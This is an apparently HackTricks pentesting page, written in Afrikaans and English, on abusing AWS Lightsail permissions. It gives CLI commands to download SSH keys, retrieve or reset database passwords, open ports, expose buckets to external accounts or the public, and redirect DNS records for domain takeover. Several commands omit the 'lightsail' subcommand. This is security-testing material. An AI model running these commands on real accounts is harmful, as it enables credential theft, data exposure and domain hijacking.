# AWS - Lightsail Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## Lightsail

Vir meer inligting oor Lightsail, kyk:

{{#ref}}
../../aws-services/aws-lightsail-enum.md
{{#endref}}

> [!WARNING]
> Dit is belangrik om te let dat Lightsail **nie IAM roles wat aan die gebruiker behoort gebruik nie maar aan 'n AWS managed account**, so you can’t abuse this service to privesc. Daar kan egter **gevoelige data** soos code, API keys en database info in hierdie diens gevind word.

### `lightsail:DownloadDefaultKeyPair`

Hierdie toestemming sal jou toelaat om die SSH keys te kry om toegang tot die instansies:
```
aws lightsail download-default-key-pair
```
**Potensiële impak:** Vind sensitiewe inligting binne die instansies.

### `lightsail:GetInstanceAccessDetails`

Hierdie toestemming sal jou toelaat om SSH-sleutels te genereer om toegang tot die instansies te verkry:
```bash
aws lightsail get-instance-access-details --instance-name <instance_name>
```
**Potentiale impak:** Vind sensitiewe inligting binne die instansies.

### `lightsail:CreateBucketAccessKey`

Hierdie toestemming laat jou toe om 'n sleutel te kry om toegang tot die bucket:
```bash
aws lightsail create-bucket-access-key --bucket-name <name>
```
**Potensiële impak:** Vind sensitiewe inligting in die bucket.

### `lightsail:GetRelationalDatabaseMasterUserPassword`

Hierdie toestemming laat jou toe om die inlogbesonderhede te kry om toegang tot die databasis te verkry:
```bash
aws lightsail get-relational-database-master-user-password --relational-database-name <name>
```
**Potensiële impak:** Vind sensitiewe inligting binne die databasis.

### `lightsail:UpdateRelationalDatabase`

Hierdie permissie laat jou toe om die databasis-wagwoord te verander:
```bash
aws lightsail update-relational-database --relational-database-name <name> --master-user-password <strong_new_password>
```
Indien die database nie public is nie, kan jy dit ook public maak met hierdie permissions:
```bash
aws lightsail update-relational-database --relational-database-name <name> --publicly-accessible
```
**Potential Impact:** Vind sensitiewe inligting binne die databasis.

### `lightsail:OpenInstancePublicPorts`

Hierdie toestemming laat toe om poorte na die Internet oop te maak.
```bash
aws lightsail open-instance-public-ports \
--instance-name MEAN-2 \
--port-info fromPort=22,protocol=TCP,toPort=22
```
**Potensiële impak:** Toegang tot sensitiewe poorte.

### `lightsail:PutInstancePublicPorts`

Hierdie permissie maak dit moontlik om poorte na die Internet oop te maak. Let wel dat die oproep enige ander oopgemaakte poort sal sluit wat nie daarin gespesifiseer is nie.
```bash
aws lightsail put-instance-public-ports \
--instance-name MEAN-2 \
--port-infos fromPort=22,protocol=TCP,toPort=22
```
**Potensiële impak:** Toegang tot sensitiewe poorte.

### `lightsail:SetResourceAccessForBucket`

Hierdie toestemming laat toe dat 'n instance toegang tot 'n bucket kry sonder enige ekstra credentials.
```bash
aws set-resource-access-for-bucket \
--resource-name <instance-name> \
--bucket-name <bucket-name> \
--access allow
```
**Potensiële impak:** Potensiële nuwe toegang tot buckets met sensitiewe inligting.

### `lightsail:UpdateBucket`

Met hierdie toestemming kan 'n aanvaller sy eie AWS-rekening lees toegang tot buckets gee of selfs die buckets vir almal openbaar maak:
```bash
# Grant read access to exterenal account
aws update-bucket --bucket-name <value> --readonly-access-accounts <external_account>

# Grant read to the public
aws update-bucket --bucket-name <value> --access-rules getObject=public,allowPublicOverrides=true

# Bucket private but single objects can be public
aws update-bucket --bucket-name <value> --access-rules getObject=private,allowPublicOverrides=true
```
**Potential Impact:** Potensiële nuwe toegang tot buckets met sensitiewe inligting.

### `lightsail:UpdateContainerService`

Met hierdie permissions kan 'n aanvaller toegang verleen tot private ECRs vanaf die containers service
```bash
aws update-container-service \
--service-name <name> \
--private-registry-access ecrImagePullerRole={isActive=boolean}
```
**Potensiële impak:** Verkry sensitiewe inligting uit privaat ECR

### `lightsail:CreateDomainEntry`

’n aanvaller met hierdie toestemming kan ’n subdomein skep en dit na sy eie IP-adres wys (subdomain takeover), of ’n SPF-rekord opstel wat hom toelaat om e-posse vanaf die domein te spoof, of selfs die hoofdomein na sy eie IP-adres wys.
```bash
aws lightsail create-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0
```
**Potensiële impak:** Oorneem 'n domein

### `lightsail:UpdateDomainEntry`

'n Aanvaller met hierdie toestemming kan 'n subdomein skep en dit na sy eie IP-adres wys (subdomain takeover), of 'n SPF record saamstel wat hom toelaat om e-posse vanaf die domein te spoof, of selfs die hoofdomein na sy eie IP-adres te stel.
```bash
aws lightsail update-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0
```
**Potensiële impak:** Neem 'n domein oor

{{#include ../../../../banners/hacktricks-training.md}}
